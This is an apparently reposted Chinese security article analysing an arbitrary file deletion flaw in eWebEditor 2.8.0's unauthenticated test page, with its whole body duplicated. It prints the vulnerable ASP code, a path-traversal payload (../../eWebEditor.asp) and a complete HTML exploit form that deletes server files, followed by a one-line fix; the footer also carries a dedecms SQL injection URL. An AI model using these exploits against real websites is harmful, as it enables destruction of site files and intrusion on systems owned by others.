Ewebeditor2.8.0最終版刪除任意文件漏洞分析與解決方法
發(fā)布時間：2009-04-18 13:34:00 作者：佚名 
我要評論
我要評論此漏洞存在于ExampleNewsSystem目錄下的delete.asp文件中，這是ewebeditor的測試頁面，無須登陸可以直接進入，看這些代碼：
' 把帶"|"的字符串轉(zhuǎn)為數(shù)組
Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, "|")
' 刪除新聞相關(guān)的
此漏洞存在于Example\NewsSystem目錄下的delete.asp文件中，這是ewebeditor的測試頁面，無須登陸可以直接進入，看這些代碼：
' 把帶"|"的字符串轉(zhuǎn)為數(shù)組
Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, "|")
' 刪除新聞相關(guān)的文件，從文件夾中
Dim i
For i = 0 To UBound(aSavePathFileName)
' 按路徑文件名刪除文件
Call DoDelFile(aSavePathFileName(i))
Next
而aSavePathFileName是前面從數(shù)據(jù)庫取出來的：
sSavePathFileName = oRs("D_SavePathFileName")
看看D_SavePathFileName是怎么添加到數(shù)據(jù)庫里的，在addsave.asp(modifysave.asp)里：
sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))
...
oRs("D_SavePathFileName") = sSavePathFileName
居然過濾了，是GetSafeStr函數(shù)，再看看這個函數(shù)，在Startup.asp里：
Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
End Function
無 語，這不是過濾字符型注入的函數(shù)么？放這里什么用也沒有??！既然路徑?jīng)]有過濾，那就可以直接定義了，構(gòu)造一個提交頁面，其中 d_savepathfilename自己任意賦值(要刪除多個文件，用|隔開即可)。試試../../eWebEditor.asp，提交后刪除該新 聞，于是主目錄下的eWebEditor.asp不見了！
下面給出利用的htm：
<HTML><HEAD><TITLE>eWebEditor刪除文件 </TITLE>
<style>body,p,td,input {font-size:9pt}</style>
</HEAD><BODY><a href='list.asp'>新聞列表</a> | <a href='add.asp'>增加新聞</a>
<b>增加新聞</b>
<form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"
method="post" name="myform">
<input type=hidden name=d_originalfilename>
<input type=hidden name=d_savefilename>
<table cellspacing=3 align=center>
<tr><td>要刪的文件(相對路徑就可以了)：</td>
<td><input type="text" name="d_savepathfilename" value="" size="90"></td>
</tr>
<tr><td>新聞標題(隨便填)：</td>
<td><input type="text" name="d_title" value="" size="90"></td>
</tr>
<tr><td>標題圖片：</td>
<td><select name="d_picture" size=1><option value=''>無</option></select>
當編輯區(qū)有插入圖片時，將自動填充此下拉框</td>
</tr>
<tr><td>新聞內(nèi)容(隨便填)：</td>
<td><textarea name="d_content"></textarea></td>
</tr>
</table>
<input type=submit name=btnSubmit value=" 提 交 ">
<input type=reset name=btnReset value=" 重 填 ">
</form>
</BODY></HTML>
刪除文件漏洞一般是配合其他漏洞使用的，比如目錄遍歷！
解決方法：刪除測試文件目錄，把默認的登錄密碼修改，或直接刪除管理頁面，因為，我們配置好，很少再改動的，最好把一些后臺文件壓縮后，刪除。
' 把帶"|"的字符串轉(zhuǎn)為數(shù)組
Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, "|")
' 刪除新聞相關(guān)的文件，從文件夾中
Dim i
For i = 0 To UBound(aSavePathFileName)
' 按路徑文件名刪除文件
Call DoDelFile(aSavePathFileName(i))
Next
而aSavePathFileName是前面從數(shù)據(jù)庫取出來的：
sSavePathFileName = oRs("D_SavePathFileName")
看看D_SavePathFileName是怎么添加到數(shù)據(jù)庫里的，在addsave.asp(modifysave.asp)里：
sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))
...
oRs("D_SavePathFileName") = sSavePathFileName
居然過濾了，是GetSafeStr函數(shù)，再看看這個函數(shù)，在Startup.asp里：
Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
End Function
無 語，這不是過濾字符型注入的函數(shù)么？放這里什么用也沒有??！既然路徑?jīng)]有過濾，那就可以直接定義了，構(gòu)造一個提交頁面，其中 d_savepathfilename自己任意賦值(要刪除多個文件，用|隔開即可)。試試../../eWebEditor.asp，提交后刪除該新 聞，于是主目錄下的eWebEditor.asp不見了！
下面給出利用的htm：
<HTML><HEAD><TITLE>eWebEditor刪除文件 </TITLE>
<style>body,p,td,input {font-size:9pt}</style>
</HEAD><BODY><a href='list.asp'>新聞列表</a> | <a href='add.asp'>增加新聞</a>
<b>增加新聞</b>
<form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"
method="post" name="myform">
<input type=hidden name=d_originalfilename>
<input type=hidden name=d_savefilename>
<table cellspacing=3 align=center>
<tr><td>要刪的文件(相對路徑就可以了)：</td>
<td><input type="text" name="d_savepathfilename" value="" size="90"></td>
</tr>
<tr><td>新聞標題(隨便填)：</td>
<td><input type="text" name="d_title" value="" size="90"></td>
</tr>
<tr><td>標題圖片：</td>
<td><select name="d_picture" size=1><option value=''>無</option></select>
當編輯區(qū)有插入圖片時，將自動填充此下拉框</td>
</tr>
<tr><td>新聞內(nèi)容(隨便填)：</td>
<td><textarea name="d_content"></textarea></td>
</tr>
</table>
<input type=submit name=btnSubmit value=" 提 交 ">
<input type=reset name=btnReset value=" 重 填 ">
</form>
</BODY></HTML>
刪除文件漏洞一般是配合其他漏洞使用的，比如目錄遍歷！
解決方法：刪除測試文件目錄，把默認的登錄密碼修改，或直接刪除管理頁面，因為，我們配置好，很少再改動的，最好把一些后臺文件壓縮后，刪除。
相關(guān)文章
- 偶爾在網(wǎng)上看到這些，拿來和大家一塊看看，也好讓各個站長懂得保護自己的網(wǎng)站2012-10-16
- 安全狗是一款大家熟悉的服務(wù)器安全加固產(chǎn)品，據(jù)稱已經(jīng)擁有50W的用戶量。最近經(jīng)過一些研究，發(fā)現(xiàn)安全狗的一些防護功能，例如SQL注入、文件上傳、防webshell等都可以被繞過2014-07-17
VLC媒體播放器MP4_ReadBox_rdrf()函數(shù)堆溢出漏洞
受影響系統(tǒng)： VideoLAN VLC Media Player 0.8.6e 描述： VLC Media Player是一款免費的媒體播放器。 VLC播放器的modules/demux/mp4/libmp4.c文件中的MP4_Rea2008-10-08- 有點雞肋，配合前幾天公布的iis6文件名解析漏洞達到獲取webshell的目的。2010-09-30
WordPress WassUp插件 spy.php腳本含SQL注入漏洞
受影響系統(tǒng)： WordPress WassUp 1.4 - 1.4.3 不受影響系統(tǒng)： WordPress WassUp 1.4.3a 描述: WordPress是一款免費的論壇Blog系統(tǒng)。 WordPress的WassUp插件2008-10-08eWebEditor 6.2 目錄遍歷漏洞(asp/browse.asp)
最新eWebEditor 6.2版本存在目錄遍歷漏洞,漏洞頁面asp/browse.asp,可通過漏洞遍里特定目錄下的所有文件列表.2010-05-13- 首發(fā)：紅科網(wǎng)安 作者：Amxking 漏洞程序：dedecms5.5 測試對象：織夢網(wǎng)CMS官方網(wǎng)站 提交時間：2010-03-17 漏洞類型：信息泄露 危險等級：低2011-03-11
- Discuz!NT是一款功能強大的基于ASP.net平臺的BBS系統(tǒng)，占有不少的市場份額，特別是一些大中型專業(yè)社區(qū)都采用該系統(tǒng)。最近，ISTO成員在其最新的2.5版本中發(fā)現(xiàn)了一個安全漏洞2008-10-08
- 最新dedecms 5.6的注入代碼： http://www.dedecms.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2%29%29%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT%22011-03-11
手把手教你如何構(gòu)造Office漏洞POC(以CVE-2012-0158為例)
近年來APT追蹤盛行,最常見的就是各種以釣魚開始的攻擊，不僅僅有網(wǎng)站掛馬式釣魚，也有魚叉式郵件釣魚，下面小編就為大家介紹office漏洞CVE-2012-0158，一起來看看吧2016-09-28